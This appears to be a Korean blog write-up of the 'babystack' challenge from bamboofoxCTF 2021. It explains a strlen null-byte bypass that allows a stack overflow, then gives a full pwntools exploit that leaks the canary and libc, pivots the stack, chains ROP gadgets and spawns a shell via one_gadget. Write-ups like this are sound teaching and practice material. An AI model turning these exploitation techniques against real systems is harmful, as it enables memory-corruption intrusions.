본문 바로가기

카테고리 없음

bamboofoxCTF2021 babystack Write up

주말에 놀다가 CTF에 늦게 참여해서 1문제 풀고 잤다.

어렵지 않은 문제였다. 코드도 짧고 취약점도 쉽게 발견된다.

일단 스택을 초기화 해주지 않고있고, strlen 으로 사이즈를 빼주고있다. strlen 은 \x00 으로 쉽게 우회가 가능하다

이걸 이용해서 sfp 까지 덮을 수 있다

 

익스 시나리오를 짜면 일단 스택에 canary 값과 stack 주소들이 있는데 이걸 leak 한다.

근데 여기서 중요한게 서버가 19.04 인데 이게 스택에 libc를 leak 할수 있는곳이 없다

 

그래서 어떻게 해야하냐면 SFP를 read ret에 스택 주소로 바꾸면 이제 다음 read를 호출할때 그 스택에 인풋이 가능하다.

그걸로 pop rbp 가젯을 이용한 후 0x00000000004011E5 이 주소로 점프 뛴 후 사이즈를 주작친다. 그 다음 쉽게 puts로 leak 을 하면된다. 근데 이제 또 문제가 뭐냐면 RDX가젯이 없다.

 

그래서 어떻게 rdx 가젯을 맟춰줬냐면 strlen 을 이용하면 rdx안에 인자값에 포인터가 들어가게되는데 이걸 이용해서 rdx가젯을 맟춰줬다.

 

그래서 read호출해줘서 스택ret 를 한번 더 덮어서 one_gadget으로 익스했다.

 

좀 쉽게 푸는 방법이 있을거같은데 어렵게 푼거같아서 좀 아쉽다.

 

#!/usr/bin/env python

from pwn import *

#p = process("./babystack")
binf = ELF("./babystack")
libc = binf.libc
p = remote("chall.ctf.bamboofox.tw", 10102)

context.log_level = "DEBUG"

pause()

p.sendafter("Name: \n", "A"*1)
#p.sendafter("Hello, please give me your token: \n", "B"*0x10)
p.sendafter("Hello, please give me your token: \n", "deadbeef")

payload = "A"*9
p.sendafter("str1: \n", payload)

p.recvuntil("A"*9)
canary = u64("\x00" + p.recv(7))
stack = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success(hex(stack))
success(hex(canary))

p.sendafter("str2: \n", "A"*(0x8))
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = leak - 0x3c5641
one = base + 0x4527a
success(hex(leak))

payload = "\x00"+"A"*(0x10-1)
p.sendafter("str1: \n", payload)

payload = p32(0x40)
payload += p32(0xffffff00)
payload += p64(0)*4
payload += p64(canary)
payload += p64(stack+0x30+0x28)   #sfp

p.sendafter("str2: \n", payload)

sleep(1)
payload = p64(0x0401169)
payload += p64(stack-0x30+0x48)
payload += p64(0x00000000004011E5)
p.send(payload)

#payload = "A"*0x9

#p.sendafter("str1: \n", payload)
sleep(1)
#p.send(payload)

payload = p64(0x004014bb)
payload += p64(binf.got['puts'])
payload += p64(binf.plt['puts'])
payload += p64(0x004014bb)
payload += p64(binf.got['puts'])
payload += p64(binf.plt['strlen'])
payload += p64(0x004014bb)
payload += p64(0)
payload += p64(0x004014b9)
payload += p64(stack+0x18)
payload += p64(1)
payload += p64(binf.plt['read'])

p.send(payload)
sleep(0.1)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = leak-libc.symbols['puts']
one = base + 0x106ef8
success(hex(base))
#p.sendafter("str2: \n", payload)

payload = "A"*0x60
payload += p64(one)
payload += p64(0)*0x20
p.send(payload)
#p.send(p64(one))

p.interactive()